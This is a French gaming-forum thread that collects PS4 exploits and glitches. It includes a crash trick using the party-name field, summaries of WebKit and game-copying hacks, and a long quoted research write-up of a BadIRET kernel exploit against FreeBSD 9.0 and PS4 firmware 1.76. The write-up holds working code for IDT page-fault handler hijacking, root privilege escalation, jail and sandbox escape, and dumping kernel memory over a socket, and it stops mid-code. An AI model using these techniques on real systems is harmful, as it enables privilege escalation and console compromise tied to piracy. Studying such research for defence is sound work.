- QG Hack - Regroupement des failles/exploits

D

deleted466859

Tout élément informatique peut être pirater grâce à un stress thermique. La ps4 chauffant excessivement par moment, est une porte ouverte vers des bugs assez critique, bug qui peut amener vert une faille/glitch.

Aller, je vous partage en exclu un bug trouvé par moi !

Tout d'abord, faites "créer une party"; à ce moment vous pourrez donc choisir le nom de la party, nom que vous allez effacer avec la touche carré, pour ensuite faite triangle, cela ajoutera des espaces vides, et une fois la petite barre à droite (et en gardant le clavier actif) faites L2 et positionnez vous sur l’apostrophe et faite R2 pour valider. La ps4 redémarre avec le BD qui s'emballe ;)
Note: En faisant R2 pour valider, vous pouvez choisir un autre symbole qui se trouve le plus à droite du clavier.

Toujours en faisant une nouvelle party vocal, supprimer le nom de party mais cette fois en arrivant à la dernière lettre faites R2, cela aura pour effet de pouvoir mettre aucun nom de party. Il faut être rapide.

Pour d'autre bug, je vous invite à me demander en privée.
 

kyuuwCSGO

1970
Premium
Inscription
20 Juillet 2015
Messages
2 419
Réactions
1 809
Points
8 076
PS4-Banner.png

Salut tout le monde :membre:,
J'ai décidé de faire un topic pour regrouper les différentes failles/exploits de la PS4.

Voir la pièce jointe 37562
Première analyse d'un dump de la NOR PS4
CrisCros (développeur italien) a réussi à dumper la NOR de la PS4 en 1.06, mais ce n'est pas tout ! Plus tard SKFu et CrisCros ont décidé de s'entraider et ils ont réussi à faire la première analyse du dump (ils ont dumpé la NOR de la PS4 en 1.06 puis en 1.61), l'analyse est disponible . Vous pourrez télécharger les deux dumps (le consoleID ainsi que l'adresse MAC ont été retiré) afin de l'examiner par vous même.

Voir la pièce jointe 37399
Lancement d'homebrew via le Blu-Ray Disc
Souvenez vous, au début de la PS3, un développeur avait réussi à lancer un homebrew depuis le lecteur Blu-Ray. Zexocao, a réussi à refaire la même opération...mais sur PS4 ! Comment ont-ils réussi ?
Le lecteur Blu-Ray intègre une partie Java (limité) afin de proposer du contenu interactif (par exemple le menu d'un BD etc.). Il suffit donc de faire son application via le SDK (à l'époque Freeplay en avait fait un) et c'est bon, mais attention comme je l'ai dit c'est limité, vous ne pourrez pas écrire sur le disque ni même le lire : seuls les applications signées par Sony peuvent. Vous pourrez faire par exemple le jeu Snake ou bien Pong (comme l'avait fait dragula96 sur PS3).
Ce n'est pas vraiment un hack mais il mérite d'être posté.
Zexocao précise que ce n'est pas un hack car le module est déjà existant il exploite seulement ce qu'il y a à disposition, aucune suite ne pourra avoir lieu.
Voici quelques vidéos disponible pour vous montrez à quoi cela ressemble :

Vous devez être inscrit pour voir les médias

Vous devez être inscrit pour voir les médias

Voir la pièce jointe 37398
Analyse des failles par SKFU​

SKFU, développeur Allemand très connu sur la scène PS, reviens vers nous pour nous annoncer les différentes failles possibles sur la PS4, voici donc ce qu'il propose (traduit par LS) :






Voir la pièce jointe 37402
La faille WebKit confirmé sur PS4​

Les développeurs nas et proxima l'ont fais : ils ont réussi à porter la faille WebKit disponible sur PSVita sur PS4. C'est la première vrai faille découverte sur PS4, nul doute de se poser la question : Sony patchera cette faille dans la version 2.0.
La faille se trouve dans le WebKit (librairie open-source permettant d'intégrer un moteur de rendu de pages Web). Pour le moment, on ne peut rien faire de plus, il s'agirait d'une faille userland, le code source est disponible . ( )
Pour pouvoir l'utiliser, vous devez l'héberger sur un serveur (serveur local avec XAMPP suffit).
Voici comment l'utiliser :
  • Ensuite allez sur le fichier "ps4_dump", cliquez sur le bouton start.
  • Les modules s'affichent, cliquez dessus et appuyez sur le bouton start.
  • Faîte pour chaque module, une fois finis cliquez sur le bouton "next".
  • Faîtes pareils que tout à l'heure.
  • Pour finir, allez sur "ps4_rop2.html" et cliquez sur le bouton start.
La faille ne permet pas grand chose pour le moment et nous sommes très loin du JB : il faut encore trouver les clefs privées de la PS4 ce qui n'est pas si facile que ça.
Pour ceux qui espère un jailbreak de la PS4, je vous conseille fortement de rester en 1.76 car les failles risques d'être extrêmement faible sur les prochaines versions.

Voir la pièce jointe 37562
Première copie d'un jeu sur une autre PS4​
Le premier exploit utile et abouti viens de sortir. En effet, des hackeurs brésiliens ont réussis à dumper le contenu de la PS4 (les jeux dématérialisés) afin de les copier sur une autre PS4. Néanmoins l'exploit n'est pas facile d'utilisation/installation car il nécessite d'avoir deux PS4 et d'un Rasberry Pi.
Il faudra installer le Rasberry Pi sur la console contenant les jeux afin de les dumper, enlever le Rasberry Pi, installer le Rasberry Pi, ré-écrire le dump sur votre PS4. Le démontage des deux PS4 est donc nécessaire.
Selon certains dire, il serai possible de jouer en ligne avec les jeux obtenus via cette faille.
La faille est d'ores et déjà patché dans l'OFW 2.51. Un tutoriel détaillé est disponible sur .
Attention, ce n'est pas un jailbreak à proprement parler car il n'y a toujours aucune possibilité d'installer ses propres homebrew sur la console.
Vous devez être inscrit pour voir les médias

1439996834-searching50-1.png

PS4 File Browser
Après plusieurs mois sans nouvelle de la faille WebKit, la revoilà. CTurt nous livre un magnifique outil qui permet - via la faille WebKit - d'explorer le contenu de la PS4 (1.76 max.) et même d'enregistrer certains fichiers.
Pour explorer le HDD de votre PS4, il vous suffira de vous rendre sur cette page : via le navigateur de votre PS4.
direct
CTurt a également fait une page web pour regrouper ses différentes constatations : .

Wait & See
Good job :ok:
 

ChuteAa ©

Chacun sa croix !!
Premium
Inscription
3 Décembre 2013
Messages
1 890
Réactions
1 204
Points
19 248
PS4-Banner.png

Salut tout le monde :membre:,
J'ai décidé de faire un topic pour regrouper les différentes failles/exploits de la PS4.

Voir la pièce jointe 37562
Première analyse d'un dump de la NOR PS4
CrisCros (développeur italien) a réussi à dumper la NOR de la PS4 en 1.06, mais ce n'est pas tout ! Plus tard SKFu et CrisCros ont décidé de s'entraider et ils ont réussi à faire la première analyse du dump (ils ont dumpé la NOR de la PS4 en 1.06 puis en 1.61), l'analyse est disponible . Vous pourrez télécharger les deux dumps (le consoleID ainsi que l'adresse MAC ont été retiré) afin de l'examiner par vous même.

Voir la pièce jointe 37399
Lancement d'homebrew via le Blu-Ray Disc
Souvenez vous, au début de la PS3, un développeur avait réussi à lancer un homebrew depuis le lecteur Blu-Ray. Zexocao, a réussi à refaire la même opération...mais sur PS4 ! Comment ont-ils réussi ?
Le lecteur Blu-Ray intègre une partie Java (limité) afin de proposer du contenu interactif (par exemple le menu d'un BD etc.). Il suffit donc de faire son application via le SDK (à l'époque Freeplay en avait fait un) et c'est bon, mais attention comme je l'ai dit c'est limité, vous ne pourrez pas écrire sur le disque ni même le lire : seuls les applications signées par Sony peuvent. Vous pourrez faire par exemple le jeu Snake ou bien Pong (comme l'avait fait dragula96 sur PS3).
Ce n'est pas vraiment un hack mais il mérite d'être posté.
Zexocao précise que ce n'est pas un hack car le module est déjà existant il exploite seulement ce qu'il y a à disposition, aucune suite ne pourra avoir lieu.
Voici quelques vidéos disponible pour vous montrez à quoi cela ressemble :

Vous devez être inscrit pour voir les médias

Vous devez être inscrit pour voir les médias

Voir la pièce jointe 37398
Analyse des failles par SKFU​

SKFU, développeur Allemand très connu sur la scène PS, reviens vers nous pour nous annoncer les différentes failles possibles sur la PS4, voici donc ce qu'il propose (traduit par LS) :






Voir la pièce jointe 37402
La faille WebKit confirmé sur PS4​

Les développeurs nas et proxima l'ont fais : ils ont réussi à porter la faille WebKit disponible sur PSVita sur PS4. C'est la première vrai faille découverte sur PS4, nul doute de se poser la question : Sony patchera cette faille dans la version 2.0.
La faille se trouve dans le WebKit (librairie open-source permettant d'intégrer un moteur de rendu de pages Web). Pour le moment, on ne peut rien faire de plus, il s'agirait d'une faille userland, le code source est disponible . ( )
Pour pouvoir l'utiliser, vous devez l'héberger sur un serveur (serveur local avec XAMPP suffit).
Voici comment l'utiliser :
  • Ensuite allez sur le fichier "ps4_dump", cliquez sur le bouton start.
  • Les modules s'affichent, cliquez dessus et appuyez sur le bouton start.
  • Faîte pour chaque module, une fois finis cliquez sur le bouton "next".
  • Faîtes pareils que tout à l'heure.
  • Pour finir, allez sur "ps4_rop2.html" et cliquez sur le bouton start.
La faille ne permet pas grand chose pour le moment et nous sommes très loin du JB : il faut encore trouver les clefs privées de la PS4 ce qui n'est pas si facile que ça.
Pour ceux qui espère un jailbreak de la PS4, je vous conseille fortement de rester en 1.76 car les failles risques d'être extrêmement faible sur les prochaines versions.

Voir la pièce jointe 37562
Première copie d'un jeu sur une autre PS4​
Le premier exploit utile et abouti viens de sortir. En effet, des hackeurs brésiliens ont réussis à dumper le contenu de la PS4 (les jeux dématérialisés) afin de les copier sur une autre PS4. Néanmoins l'exploit n'est pas facile d'utilisation/installation car il nécessite d'avoir deux PS4 et d'un Rasberry Pi.
Il faudra installer le Rasberry Pi sur la console contenant les jeux afin de les dumper, enlever le Rasberry Pi, installer le Rasberry Pi, ré-écrire le dump sur votre PS4. Le démontage des deux PS4 est donc nécessaire.
Selon certains dire, il serai possible de jouer en ligne avec les jeux obtenus via cette faille.
La faille est d'ores et déjà patché dans l'OFW 2.51. Un tutoriel détaillé est disponible sur .
Attention, ce n'est pas un jailbreak à proprement parler car il n'y a toujours aucune possibilité d'installer ses propres homebrew sur la console.
Vous devez être inscrit pour voir les médias

1439996834-searching50-1.png

PS4 File Browser
Après plusieurs mois sans nouvelle de la faille WebKit, la revoilà. CTurt nous livre un magnifique outil qui permet - via la faille WebKit - d'explorer le contenu de la PS4 (1.76 max.) et même d'enregistrer certains fichiers.
Pour explorer le HDD de votre PS4, il vous suffira de vous rendre sur cette page : via le navigateur de votre PS4.
direct
CTurt a également fait une page web pour regrouper ses différentes constatations : .

Wait & See
turt Confirme un exploit Kernel , a surveiller !!
 
D

deleted466859

La (soit disante) MAJ 1.76:
Ce n'est pas un .exe, c'est le .PUP, utile si vous souhaitez up vers la 1.76 (si inférieur). Méfiance tout de même.

Au vu des news actuelles cela peut être utile ! ;)
 

An Albanian

'
Premium
Inscription
18 Avril 2013
Messages
2 857
Réactions
930
Points
17 631
Cturt a bloqué son twitter, et d'après certaines personnes il aurait dit avoir arrêté ses recherches sur la PS4.
Peut-être un coup de pression par Sony?
 
D

deleted466859

Il le dit très clairment qu'il arretes toute recherche.. Dommage mais je m'attend à un retournement de situation maintenant.
Le plus bizarre, c'est qu'il a publié la partie 3 du hack la veille.
 

xX-365094-Xx

faucheur netflix
Premium
Inscription
15 Novembre 2012
Messages
708
Réactions
274
Points
9 526
Allez hop une petite maj du topic est nécessaire selon moi ^^ je m'explique ^^

Il serait bien de signalez que Cturt a abandonnez les recherche sur le potentiel jailbreak de la ps4 (pression de tonton sony ? :trollface::@), se qui aurait été la cause de la release de la méthode pour l'exploit ^^

Prefix
I've recently been getting a lot of unwanted attention from people pleading me to release a "CFW" or "Jailbreak" so that they can pirate video games on their PS4.

I want to make very clear that I've primarily been doing this research as a learning exercise because I have a passion for InfoSec. This is partly the reason why I've tried to take a such an open approach; and I'm very grateful to hear whenever another aspiring security analyst tells me that they have found these articles helpful.

But if this doesn't describe you, and you just want to install a "CFW" on your console, these articles won't interest you; don't bother reading any further.


Introduction
I've had kernel code execution on the PS4 for just over a week now, and would like to explain how it works, and everything that I've managed to use it for thus far.

PS4 kernel exploit finally working! Thanks to everyone involved!

— CTurt (@CTurtE)
Since the kernel vulnerability used has already been patched (somewhere in 2.xx), I have decided to explain the process of how it was exploited it in the hope that it will make for an interesting read and that it might be useful for any developers who have access to a compatible firmware.

Whilst I must refrain from releasing the full source code of the exploit and some of the details which directly apply to the PS4 due to fear that it would be used for malicious purposes, I can explain how to exploit the bug on FreeBSD, and provide some hints about how it can be ported to PS4.


Code execution
Firstly, I need to reveal the technique used to gain code execution under the WebKit process.

The JavaScript core of WebKit uses , a way of dynamically compiling JavaScript into native code for performance reasons (as opposed to interpreters like ). Obviously, to do this requires an area of memory which is both writable and executable.

Sony handled this by creating 2 custom system calls: sys_jitshm_create, and sys_jitshm_alias. You can use these system calls directly, or the wrappers in libkernel (sceKernelJitCreateSharedMemory et al.). To identify exactly how these functions are used, you should load, dump, and reverse libSceJitBridge.sprx.

The basic idea is that there is no way to directly map a RWX virtual page. Instead, we need to allocate memory and create an alias of this mapping. We map the first handle as RX, and the alias as RW. This will give us two separate virtual mappings which point to the same physical memory.

Code can now be written to the RW mapping and executed from the RX mapping like so:

unsigned char loop[] = { 0xeb, 0xfe };
memcpy(writableAddress, loop, sizeof(loop));

((void (*)())executableAddress)();
The ROP chain to setup memory, copy WiFi-Loader, and execute it was too long to be done in a single stage, so I had to store the current stage in a cookie, and reload the page after each stage to start the next one:

var codeExecutionStage = getCookie("codeExecutionStage");
if(codeExecutionStage == "1") {
allocateSharedMemory();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Mapping shared memory...";
setTimeout(function() { document.cookie = "codeExecutionStage=2"; location.reload(); }, 10);
}
else if(codeExecutionStage == "2") {
mapSharedMemory();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Waiting for payload...";
setTimeout(function() { document.cookie = "codeExecutionStage=3"; location.reload(); }, 10);
}
else if(codeExecutionStage == "3") {
payload();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Executing...";
setTimeout(function() { document.cookie = "codeExecutionStage=4"; location.reload(); }, 10);
}
else if(codeExecutionStage == "4") {
copy();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Done!";
setTimeout(function() { document.cookie = "codeExecutionStage=0"; location.reload(); }, 10);
}
Since we're using the JIT system calls for their intended purpose, it's not really an exploit, just a neat trick.

You may also be disappointed to hear that very few apps have access to JIT. Sony added their own privilege checks in the kernel; only processes which pass these checks are allowed to use JIT. Unless we find another way of getting code execution, this means that exploits in games and web-apps (like YouTube and Netflix) will be limited to ROP.


NULL dereferences
One of the first things I explored was the possibility of exploiting NULL dereferences since, historically these are one of the more common types of vulnerabilities.

The basic idea is that if a kernel memory allocation fails, NULL will be returned, but a vulnerable piece of kernel code would then go on to use this pointer anyway, without first checking that the allocation succeeded. This situation may also arise when a kernel pointer is initialised toNULL and utilised before being set to a valid address. In these cases, if we can map and write to NULL from userland, we would have complete control over a piece of memory which should normally only be accessible from the kernel.

Unfortunately, trying to map a NULL page will fail, returning EINVAL:

mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
This is due to the sysctl flag, security.bsd.map_at_zero, being set to 0; attempting to change it to 1 will also fail:

int enableNULLmapping(void) {
int val = 1;
int len = sizeof(val);

return sysctlbyname("security.bsd.map_at_zero", NULL, 0, &val, &len);
}
Since we have no way of controlling the memory at NULL, it would be unlikely that we can exploit any kernel NULL dereferences.


sysctl
The libkernel module contains a standard FreeBSD function called , which can be used to extract some system information.

For example, it can be used to read the value of KERN_OSTYPE, which is FreeBSD:

int getOS(char *destination) {
int name[2];
size_t len;

name[0] = CTL_KERN;
name[1] = KERN_OSTYPE;

return sysctl(name, 2, destination, &len, NULL, 0);
}

Reading kernel call stacks
By far, the most interesting thing that sysctl can be used for is reading kernel call stacks:

size_t getKernelStacks(void *destination) {
int name[4];
size_t len;

name[0] = CTL_KERN;
name[1] = KERN_PROC;
name[2] = KERN_PROC_KSTACK;
name[3] = syscall(20);

sysctl(name, 4, destination, &len, NULL, 0);

return len;
}
This results in several stacks (one for each thread), like the following:

#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff82473d7c at sleepq_wait_sig+0x13c
#2 0xffffffff8247415f at sleepq_timedwait_sig+0xf
#3 0xffffffff8243f2ba at _sleep+0x23a
#4 0xffffffff8244ee35 at umtx_thread_exit+0x13b5
#5 0xffffffff82616735 at amd64_syscall+0x4c5
#6 0xffffffff825ff357 at Xfast_syscall+0xf7
Not only does this give us an easy way to identify roughly how different some parts of the PS4 kernel are from FreeBSD, but it also leaks the addresses of some kernel functions which will be vital for exploitation later. Just in case you needed any more confirmation that there is no kernel ASLR, these function addresses are always the same across reboots.


Reading system call names
It is possible to identify unknown system calls by reading their kernel call stacks during execution. We can create a separate thread which performs an unknown system call repeatedly, wait for it to be preempted, and read its call stack:

void *threadFunction(void *arg) {
while(1) {
syscall(532, 0, 0, 0, 0, 0, 0);
}
}

...

ScePthread thread;
scePthreadCreate(&thread, NULL, threadFunction, NULL, "test");

size = getKernelStacks(buffer);

sceNetSend(sock, buffer, size, 0);

scePthreadCancel(thread);
Here is the resultant kernel call stack of the new thread:

#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff8243dcaf at critical_exit+0x6f
#2 0xffffffff82609ca9 at ipi_bitmap_handler+0x159
#3 0xffffffff825ffe47 at Xipi_intr_bitmap_handler+0x97
#4 0xffffffff823723fa at uart_bus_detach+0x38a
#5 0xffffffff82374f26 at uart_tty_detach+0xad6
#6 0xffffffff823f1661 at cnputc+0x91
#7 0xffffffff823f17a8 at cnputs+0x28
#8 0xffffffff8246e44a at vprintf+0x9a
#9 0xffffffff8246e38f at printf+0x4f
#10 0xffffffff826a2ede at sys_regmgr_call+0x20e
#11 0xffffffff82616735 at amd64_syscall+0x4c5
#12 0xffffffff825ff357 at Xfast_syscall+0xf7
This confirms that system call 532, sys_regmgr_call, executes a registry command, as predicted in .

Although it is technically possible for the kernel to be preempted during any piece of kernel code which doesn't follow a critical_enter, it can be difficult to achieve this in practice. This is especially true with system calls which consist of only a few instructions, resulting in a smaller race window, such as getpid:

int sys_getpid(struct thread *td, struct getpid_args *uap) {
struct proc *p = td->td_proc;

td->td_retval[0] = p->p_pid;

return (0);
}
sys_getpid:
mov rax, [rdi+8]
movsxd rax, dword ptr [rax+0B0h]
mov [rdi+368h], rax
xor eax, eax
retn

BadIRET
is a kernel vulnerability originally discovered in Linux and later found to affect FreeBSD too.

Despite , BadIRET has only recently gotten a , apparently due to the security officer being replaced around this time. Because of this, I hadn't heard of BadIRET back when I started researching the PS4.

Check out the blog posts by and for detailed explanations of how BadIRET can be exploited on Linux; most of the concepts apply to FreeBSD too.

I'm pleased to report that the PS4 kernel from firmware 1.76 is vulnerable to BadIRET!


Brief explanation
The GS register is used by userland processes to access per-thread state data, and by the kernel to access per-processor state data.

The kernel switches between the current kernel and userland GS bases using the swapgs instruction.

When the kernel wishes to return execution from an interrupt back to userland, it uses the iret instruction. The problem is that if iret throws an #SS exception, one extra swapgs is performed, meaning that the GS register will switch to the userland GS base whilst the kernel still expects it to be the kernel GS.

Since the userland GS base is fully controllable with sysarch:

#define AMD64_SET_GSBASE 131

int amd64_set_gsbase(void *base) {
return sysarch(AMD64_SET_GSBASE, &base);
}
Any writes which the kernel performs relative to the GS base can be controlled.

Interestingly, OpenBSD has a sysctl option called machdep.userldt which controls whether user processes should be allowed to modify LDT, and is disabled by default. If something like this would have been included in FreeBSD, we probably wouldn't have had permission to createLDT entries, and trigger the vulnerable #SS exception.


Debugging FreeBSD
Since the PS4 firmware is based on FreeBSD 9.0-RELEASE, the first thing to do is achieve kernel code execution from the bug on FreeBSD 9.0; it is essential to have a decent debugger setup for this. I won't go through this process in much detail since , and the stages are almost identical for Linux Mint.

Just install the build system beforehand:

sudo apt-get install build-essential
sudo apt-get install libncurses5-dev
And install gdb-amd64-marcel-freebsd as explained.

Note that you may need to set the appropriate architecture if you receive the "remote register badly formatted" error.

gdb-amd64-marcel-freebsd -q -tui kernel/kernel
set architecture i386:x86-64
target remote localhost:8864
Another option is to use the remote gdb feature within IDA Pro.

Finally, to transfer code to the virtual machine, you can setup a web server on the host and use the fetch command:

fetch -o badiret.c

Optimisation
Exploiting BadIRET relies on the specific configuration of a number of low-level x86 features. The exploit is sensitive to certain compiler optimisations which may generate code that is functionally equivalent to the unoptimised code, but have adverse effects when executed. When writing this kernel exploit, compiler optimisations were disabled to increase reliability and reproducibility across platforms.

For example, one problem I encountered when building the exploit with optimisations is the use of segment registers. With optimisations enabled, certain variables would be accessed relative to the cs segment register. However, by the time our kernel payload is executed, the csregister will have been changed by the kernel, meaning that these variables will be incorrectly addressed.


The Interrupt Descriptor Table
The Interrupt Descriptor Table (IDT) is the data structure on x86 used to manage interrupts. Corrupting this structure wasn't a viable attack vector for BadIRET on Linux since it is read-only. However, on FreeBSD this is not the case.

With the ability to write data to kernel memory, it is possible to corrupt an entry in this table and hijack an exception handler to obtain kernel code execution. Our target to hijack will be the page fault exception handler (#PF), called Xpage, which is fired when a occurs; its address on FreeBSD 9.0 is 0xFFFFFFFF80B03240.

We first need to use the unprivileged sidt (Store Interrupt Descriptor Table) instruction from userland to retrieve the Interrupt Descriptor Table Register, which is described as the following 6 byte structure:

struct idtr {
uint16_t limit;
uint64_t base;
} __attribute__((packed));
With the IDT base, we can calculate the address of the function pointer to the page fault handler (#PF is entry 14 in the IDT):

struct idt_descriptor *sidt(void) {
struct region_descriptor idt;
asm volatile("sidt %0" : "=m"(idt));
return (struct idt_descriptor *)idt.rd_base;
}

xpageEntryHi = &(sidt()[IDT_PF]).off_high;

Abusing critical_enter to corrupt kernel pointers
Now that we've obtained this address, we need to identify a suitable means of controlling it.

Our technique will abuse , a routine which increments td->td_critnest to keep count of the number of critical sections the kernel thread is currently in (this count is decremented at critical_exit). The td_critnest value is accessed relative to an address stored in GS(known as td):

critical_enter:
mov rax, gs:0 ; rax = *gs (td)
inc dword [rax+0x3cc] ; td->td_critnest++;
ret
Since kernel memory is based at 0xffffffff80000000 in the virtual address space, kernel function pointers have an upper four bytes of0xffffffff. If (*gs)+0x3cc points to the upper four bytes of a kernel pointer, the value will overflow from 0xffffffff to 0x00000000, effectively corrupting it into a userland pointer.

In our case, this should point to the upper 4 bytes of the page fault entry in the IDT, minus the 0x3cc offset:

gsBase[0] = xpageEntryHi - 0x3cc;
This is how the critical_enter write will affect the #PF entry in the IDT (bytes in bold are used by the address):

00 8E B0 80 FF FF FF FF 00 00 00 00 40 32 20 00 - Address: 0xFFFFFFFF80B03240
00 8E B0 80 (FF FF FF FF)+1 00 00 00 00 40 32 20 00 - Address: 0x(FFFFFFFF+1)80B03240
00 8E B0 80 00 00 00 00 00 00 00 00 40 32 20 00 - Address: 0x0000000080B03240

Since the PS4 CPU doesn't support SMAP (Supervisor Mode Access Prevention) or SMEP (Supervisor Mode Execution Prevention), the CPU will happily execute userland memory in kernel mode, as long as it is marked as executable. So to achieve kernel code execution, we just need to map and write our payload to 0x80B03240, and trigger a page fault.


Triggering a page fault
After triggering the bug, the kernel will eventually reach this instruction in _thread_lock_flags:

FFFFFFFF80823368: mov rax, [r12+18h]
Since r12 contains 0, a read from the unmapped address 0x18 will be performed, resulting in a jump to the page fault handler (which now points to our userland address).

At this point, we are executing arbitrary code in the kernel. However, we are already two faults deep:

#SS exception -> Corrupt #PF handler -> #PF exception -> Our payload
In x86 will cause a reboot. We need to take precautions to prevent any further faults from occurring and crashing the system. Mainly, we need to ensure that any user memory we access in the payload is already pre-faulted (and will not cause a page fault). We achieve this by simply performing a read to these memory locations before performing the exploit:

void prefault(void *address, size_t size) {
int i;
for(i = 0; i < size; i++) {
volatile uint8_t c;
(void)c;

c = ((char *)address);
}
}
In general, it's best to keep the payload code to the bare minimum before returning to userland.


Privilege escalation
The standard payload for a kernel exploit is to give the current process root privileges:

struct thread *td;
struct ucred *cred;

// Get td pointer
asm volatile("mov %0, %%gs:0" : "=r"(td));

// Resolve creds
cred = td->td_proc->p_ucred;

// Escalate process to root
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
On the PS4, our process is also in a , so we'll also need to perform a jailbreak:

cred->cr_prison = &prison0;
This causes the check to return 0.

We'll also need to break out of the sandbox to gain full access to the filesystem:

void *td_fdp = *(void **)(((char *)td_proc) + 72);
uint64_t *td_fdp_fd_rdir = (uint64_t*)(((char *)td_fdp) + 24);
uint64_t *td_fdp_fd_jdir = (uint64_t*)(((char *)td_fdp) + 32);
uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
*td_fdp_fd_rdir = *rootvnode;
*td_fdp_fd_jdir = *rootvnode;
There are also a few other checks which should be bypassed on the PS4. Once you've dumped the kernel, these checks are trivial to bypass, just search for sceSblACMgr.


Restoring kernel state
With GS memory carefully prepared to perform the td->td_critnest++ write at a controlled address, we need to perform cleanup of the corruption, as well any other writes performed along the way (at an offset from td).

Obviously, the first thing to restore will be the page fault entry in the IDT which we hijacked. We can write to it directly since we are now executing in kernel mode:

*((int *)XpageEntryHi) = 0xffffffff;
We can verify that the page fault entry is correctly restored by triggering a page fault and seeing where the debugger jumps:

char *p = NULL;
*p = 0;
If we dump the nearby memory before and after triggering the exploit ((gdb) x /512bx 0xffffffff81183c7c), we will find that a few other bytes were corrupted too. For example:

0xffffffff81184048 before: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0xffffffff81184048 after: 0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00
Simply write back the all values which were changed, and the system should be ready to continue execution gracefully.

Now, the final step is a matter of crafting a valid iret stack frame and returning to userland via the iret instruction.

In userland, to prevent the next interrupt from triggering the vulnerable #SS exception again, set the sd_p member of the LDT descriptor back to 1 so that it is marked present, and update it with i386_set_ldt.


Improving reliability
In its current state, the exploit will work most of the time. However, occasionally multiple nested calls to critical_enter will occur before jumping to the #PF handler.

In this situation, the upper 4 bytes of the #PF function pointer in the IDT would be 0x00000001 or 0x00000002 rather than 0x00000000. To ensure that our payload is always executed, just map and copy the trampoline code to all of these locations.


Porting to PS4
Now that we've successfully exploited the bug on FreeBSD 9.0, let's identify every assumption that our exploit relies on for kernel code execution:




    • #PF being the 14th entry in the IDT,
    • Xpage address being 0xFFFFFFFF80B03240,
    • The td pointer being accessed from gs:0,
    • The offset of td_critnest in struct thread being 0x3cc,
#PF index in IDT
Since page fault is defined as hardware exception 14 in the x86 architecture, it is safe to assume that this is unchanged in the PS4.


Xpage address
I wasn't able to leak the address of Xpage directly, but we know the address of Xfast_syscall to be 0xFFFFFFFF825FF260 from sysctl extracted kernel call stacks, and on FreeBSD these functions happen to be very close:

FreeBSD Xpage: 0xFFFFFFFF80B03240
FreeBSD Xfast_syscall: 0xFFFFFFFF80B03330
Difference: 0xf0
Subtracting 0xf0 from the address of Xfast_syscall gives us 0xFFFFFFFF825FF170, which should either be perfect, or an accurate enough estimate. Knowing the exact address of Xpage is not necessary. By mapping a large NOP slide in userland, we only need to guess the general range the function is in.


td offset from gs
There is a high probability that Sony changed some internal system structs. Since the gs register is generally used as scratch space, we should make no hard assumptions about td being stored at gs:0. This isn't too big of a problem since we can spray the crafted td address across multiple offsets in gs memory and be fairly sure that the PS4 will use one of them as td.


td_critnest offset
The only other unknown fixed offset that we rely on is critical_enter incrementing td+0x3cc. This was not the case on the PS4, and finding the actual offset was the most time consuming to find.

We experimented with various different ways of trying to deduce this offset. One idea was to point td into a large empty mapping in userland and watch for writes to memory. By starting a second thread that scanned the mapping in a tight loop, it was possible to identify at which offsets writes occurred, and send this information over the network before the entire system crashed. This race window was large enough to work when tested in a FreeBSD VM:

[+] Allocated LDT index: 16
Leak thread started
[+] Dry run (set SS to 0x87)...
[+] Here goes...
Found non-zero memory at offset 3cc
Found non-zero memory at offset 3d0
Found non-zero memory at offset 3d8
Found non-zero memory at offset 3cc
Found non-zero memory at offset 3d0
Found non-zero memory at offset 3d8
However, we had less luck running this same code on the PS4. We could only guess that the system crashed more quickly, and the kernel didn't have enough time to send these packets.

Since this was the only unknown value we depended on, in the end it proved easier to just brute force it. We know that it must be aligned to 4 bytes, and that it's likely to be within the range of 0x3b0 - 0x400, which gives us only about 20 possibilities to try (in reality, I tried a much larger range than this just in case).

Brute forcing this offset was extremely tedious since I could only try one at a time, and the PS4 needed to reboot into safe mode after each time it had run a test and panicked (takes just under 2 minutes); every time I fixed something in the code I had to go through all these offsets again. Additionally, since the exploit isn't quite 100% reliable, I mistakenly tried and disregarded the correct offset several times without realising.

It was a massive endurance, but I eventually found the correct td->td_critnest offset.


Other PS4 quirks
Aside from the fixed offsets and addresses, there are a few other things we need to account for when porting the code to PS4. Since we can't perform PROT_EXEC mappings directly, we need to to use the JIT technique described earlier when mapping the payload.

Fixed mappings must be aligned to PAGE_SIZE, which is 4KB by default on FreeBSD, but 16KB for PS4.


Dumping the kernel
Since restoring the kernel to a stable state relies on cleaning up many different addresses in the IDT, I decided that it would be a good idea to first verify that the payload was successfully being executed by dumping kernel memory over a socket.

Using sysctl, I was able to extract the addresses of the send related functions:

#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff82473d7c at sleepq_wait_sig+0x13c
#2 0xffffffff82473c4b at sleepq_wait_sig+0xb
#3 0xffffffff8243f2da at _sleep+0x25a
#4 0xffffffff82493f07 at sbwait+0xd7
#5 0xffffffff82497181 at sosend_generic+0x291
#6 0xffffffff8249ea70 at kern_sendit+0x170
#7 0xffffffff8249ed8f at sys_sendto+0x17f
#8 0xffffffff8249ec69 at sys_sendto+0x59
#9 0xffffffff82616735 at amd64_syscall+0x4c5
#10 0xffffffff825ff357 at Xfast_syscall+0xf7
We can use sys_sendto directly from the kernel without needing to restore the system to a fully stable state.

// From userland:
// Open a socket and connect it to our dump server
struct sockaddr_in server;

server.sin_len = sizeof(server);
server.sin_family = AF_INET;
server.sin_addr.s_addr = IP(192, 168, 0, 4);
server.sin_port = sceNetHtons(9023);
memset(server.sin_zero, 0, sizeof(server.sin_zero));

int sock = sceNetSocket("dumper", AF_INET, SOCK_STREAM, 0);
sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));

// Disable packet queuing
int flag = 1;
sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));

// Allocate and prefault over dump memory
dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
prefault(dump, PAGE_SIZE);


// From kernel:
struct thread *td;

// Switch back to kernel GS base
asm volatile("swapgs");

// Get td address
